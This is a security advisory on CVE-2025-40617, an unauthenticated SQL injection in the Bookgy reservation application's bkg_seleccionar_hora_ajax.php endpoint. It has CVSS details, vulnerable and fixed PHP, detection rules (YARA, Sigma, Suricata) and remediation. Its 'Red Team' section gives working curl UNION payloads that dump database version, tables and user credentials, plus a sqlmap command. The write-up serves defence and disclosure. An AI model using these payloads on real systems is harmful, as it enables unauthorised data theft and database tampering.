CVE-2025-40617

Executive Summary

CVE-2025-40617 is a critical unauthenticated SQL injection vulnerability in the Bookgy application, a booking or reservation management system. The flaw resides in the /bkg_seleccionar_hora_ajax.php endpoint, where the IDTIPO, IDPISTA, and IDSOCIO parameters are directly concatenated into SQL queries without sanitization or parameterization. An attacker can exploit this by sending crafted HTTP requests to retrieve, create, update, or delete arbitrary database records, leading to full compromise of the application’s backend database.

This vulnerability is particularly dangerous because it requires no authentication, has a low attack complexity, and can be exploited remotely over the network. The vendor has not released a patch, and no public exploit code or proof-of-concept is currently available, but the attack vector is straightforward for any attacker with basic SQL injection knowledge.

Note: This vulnerability is not related to any specific CMS or framework; it is a custom PHP application. No supply chain or package security implications exist.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Full database read access.
• Integrity Impact: High (I:H) – Ability to modify or delete data.
• Availability Impact: High (A:H) – Potential to drop tables or corrupt data.

Threat Level: Critical. The combination of unauthenticated access, low complexity, and high impact makes this a top-priority vulnerability for any organization using Bookgy.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection (CWE-89) in the PHP file /bkg_seleccionar_hora_ajax.php. The application likely constructs SQL queries by directly concatenating user-supplied input from the IDTIPO, IDPISTA, and IDSOCIO GET/POST parameters without using prepared statements or parameterized queries.

Example vulnerable code (conceptual):

$idTipo = $_REQUEST['IDTIPO'];
$query = "SELECT * FROM horas WHERE tipo = '$idTipo'";
$result = mysqli_query($conn, $query);

An attacker can inject SQL metacharacters such as a single quote (') to break out of the string context and append arbitrary SQL commands. For example, sending:

IDTIPO=1' UNION SELECT username,password FROM users--

could retrieve credentials from the users table.

The three parameters (IDTIPO, IDPISTA, IDSOCIO) are all vulnerable, providing multiple injection points. The application likely uses a MySQL/MariaDB backend, but the injection technique is database-agnostic.

Attack flow:

1. Identify the vulnerable endpoint via directory enumeration or source code review.
2. Send a crafted HTTP request to /bkg_seleccionar_hora_ajax.php with malicious payload in any of the three parameters.
3. The injected SQL executes, allowing data exfiltration, modification, or deletion.
4. Use UNION-based or blind SQL injection techniques to extract data.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern and the secure alternative.

Vulnerable code (PHP):

$idTipo = $_GET['IDTIPO'];
$sql = "SELECT * FROM reservas WHERE tipo = '$idTipo'";
$result = mysqli_query($conn, $sql);

Patched code (using prepared statements):

$stmt = $conn->prepare("SELECT * FROM reservas WHERE tipo = ?");
$stmt->bind_param("s", $_GET['IDTIPO']);
$stmt->execute();
$result = $stmt->get_result();

The patched version uses parameterized queries, which separate SQL logic from data, rendering injection impossible.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A target running Bookgy with the vulnerable endpoint.
• Basic knowledge of SQL injection techniques.

Step 1: Identify the vulnerable endpoint.

curl -v "http://target.com/bkg_seleccionar_hora_ajax.php?IDTIPO=1"

If the response returns data, the endpoint is active.

Step 2: Confirm SQL injection.

curl "http://target.com/bkg_seleccionar_hora_ajax.php?IDTIPO=1'"

If an error message (e.g., MySQL syntax error) is returned, injection is confirmed.

Step 3: Extract database version.

curl "http://target.com/bkg_seleccionar_hora_ajax.php?IDTIPO=1' UNION SELECT @@version,2,3-- -"

Step 4: Enumerate tables and columns.

curl "http://target.com/bkg_seleccionar_hora_ajax.php?IDTIPO=1' UNION SELECT table_name,2,3 FROM information_schema.tables-- -"

Step 5: Dump credentials.

curl "http://target.com/bkg_seleccionar_hora_ajax.php?IDTIPO=1' UNION SELECT username,password,3 FROM users-- -"

Automated exploitation with sqlmap:

sqlmap -u "http://target.com/bkg_seleccionar_hora_ajax.php?IDTIPO=1" --batch --dbs

Blue Team (Defensive)

Detection:

• Monitor HTTP requests to /bkg_seleccionar_hora_ajax.php for unusual characters (single quotes, UNION, SELECT, --).
• Look for error messages containing SQL syntax errors in server logs.
• Use a Web Application Firewall (WAF) to block SQL injection patterns.

Honeypot:

• Deploy a fake Bookgy instance and log all requests to the vulnerable endpoint.
• Analyze attacker payloads to update detection rules.

Containment:

• If exploitation is detected, immediately block the attacker’s IP.
• Take the vulnerable server offline and restore from a clean backup.
• Apply virtual patching via WAF rules.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /bkg_seleccionar_hora_ajax.php containing SQL keywords (UNION, SELECT, INSERT, DROP, --, #).
• Requests with multiple parameters (IDTIPO, IDPISTA, IDSOCIO) containing single quotes or URL-encoded characters like %27.
• Unusual response sizes or error messages containing database error strings (e.g., You have an error in your SQL syntax).

File IOCs:

• Modified database entries (e.g., new admin users, altered reservation data).
• Unexpected files in the web root (e.g., webshells uploaded via INTO OUTFILE).

Log IOCs:

• Web server logs showing repeated requests to the vulnerable endpoint with varying payloads.
• Database logs showing anomalous queries (if enabled).

Detection Engineering

YARA Rule

rule CVE_2025_40617_SQLi_Bookgy {
    meta:
        description = "Detects SQL injection attempts targeting Bookgy bkg_seleccionar_hora_ajax.php"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-40617"
    strings:
        $endpoint = "bkg_seleccionar_hora_ajax.php"
        $sqli1 = /IDTIPO=.*['\"]/
        $sqli2 = /IDPISTA=.*['\"]/
        $sqli3 = /IDSOCIO=.*['\"]/
        $union = /UNION/i
        $select = /SELECT/i
        $drop = /DROP/i
    condition:
        $endpoint and ($sqli1 or $sqli2 or $sqli3) and ($union or $select or $drop)
}

Sigma Rule

title: SQL Injection Attempt Against Bookgy bkg_seleccionar_hora_ajax.php
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts targeting the Bookgy application
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - 'bkg_seleccionar_hora_ajax.php'
        cs-uri-query|re:
            - 'IDTIPO=.*['\''\"]'
            - 'IDPISTA=.*['\''\"]'
            - 'IDSOCIO=.*['\''\"]'
    condition: selection
falsepositives:
    - Legitimate use of special characters in input (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-40617 Bookgy SQL Injection Attempt"; flow:to_server,established; content:"bkg_seleccionar_hora_ajax.php"; http_uri; pcre:"/(IDTIPO|IDPISTA|IDSOCIO)=.*['\''\"]/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application: If possible, take the Bookgy application offline until a patch is available.
2. Virtual patching: Deploy WAF rules to block requests containing SQL injection patterns in the IDTIPO, IDPISTA, and IDSOCIO parameters.
3. Input validation: Implement strict allowlist validation for these parameters (e.g., only numeric values if expected).

Long-term Fix:

• Rewrite the vulnerable code: Replace all dynamic SQL queries with prepared statements or parameterized queries.
• Apply least privilege: Ensure the database user used by the application has minimal permissions (e.g., no DROP or INSERT unless necessary).
• Regular security audits: Conduct code reviews and penetration testing for all custom PHP applications.

Monitoring:

• Enable detailed logging for the web server and database.
• Set up alerts for any SQL error messages or unusual query patterns.

Valters IT